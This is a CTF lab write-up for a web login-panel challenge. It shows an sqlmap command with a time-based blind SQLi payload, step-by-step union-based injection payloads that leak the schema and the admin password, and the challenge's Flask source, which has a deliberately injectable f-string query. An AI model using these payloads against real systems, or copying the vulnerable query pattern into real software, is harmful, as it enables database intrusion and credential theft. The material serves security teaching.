Simple Web - 0x03(Lab - Normal Login Panel (Flag 1))

Simple Web - 0x03(Lab - Normal Login Panel (Flag 1))

tags: CTF Web eductf

Challenge: https://login.ctf.zoolab.org/

Background

Source Code

Analysis

Exploit - SQLi

Easy way - SQLmap

$ ./sqlmap.py "https://login.ctf.zoolab.org/" --form -dbs sqlite --dump --risk=3 --level=5
...
---
Parameter: username (POST)
    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: username='||(SELECT CHAR(116,86,90,89) WHERE 7681=7681 AND 7766=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&password=
---

Hard way - try&error

  1. Check if it has sqli problem Payload: union'

  2. Try union based Payload: admin' union select 1 -- → WRONG Payload: admin' union select 1,2 -- → WRONG Payload: admin' union select 1,2,3 -- → WRONG Payload: admin' union select 1,2,3,4 -- Obviously, it shows some info when select 4 values

  3. Must know the metadata According to the author, it used sqlite as its DBMS. As kaibro cheat sheet

    爆表名 SELECT name FROM sqlite_master WHERE type=’table’

    Then we can add this in our request Payload: admin' union select 1,2,3,sql FROM sqlite_master WHERE type='table' --

    Based on the info we leak, there’s a table named users with `id`, `username`, `password`,and `count` 4 columns

  4. Leak password Payload: admin' union select 1,2,3,password FROM users --

Result

Then we got source code!!! :::spoiler code

from flask import Flask, request, render_template, render_template_string, send_file
from flask_sqlalchemy import SQLAlchemy

db = SQLAlchemy()
app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///app.db"
db.init_app(app)

with app.app_context():
  db.session.execute("""
    CREATE TABLE IF NOT EXISTS users(
      id Integer PRIMARY KEY,
      username String NOT NULL UNIQUE,
      password String,
      count Integer DEFAULT 0
    );
  """)
  db.session.execute("INSERT OR REPLACE INTO users (username, password) VALUES ('admin', 'FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}')")
  db.session.commit()

def login(greet):
  if not greet:
    return send_file('app.py', mimetype='text/plain')
  else:
    return render_template_string(f"Hello {greet}")

@app.route('/', methods=["GET", "POST"])
def index():
  if request.method == "GET":
    return render_template('index.html')
  else:
    username = request.form.get('username', '')
    password = request.form.get('password', '')
    error = ''
    user = db.session.execute("SELECT username, password FROM users where username=:username", {"username":username}).first()

    if user and user[1] == password:
      return login(request.form.get('greet', ''))
    elif not user:
      error += "User doesn't exist! "

    # New feature! count login failed event
    db.session.execute("UPDATE users SET count = count + 1 WHERE username=:username", {"username": username})
    db.session.commit()
    count = db.session.execute(f"SELECT * FROM users WHERE username='{username}'").first() or [0, 0, 0, 0]
    error += f'Login faild count: {count[3]}'

    return render_template('index.html', error=error)


if __name__ == "__main__":
  app.run(host="0.0.0.0")

:::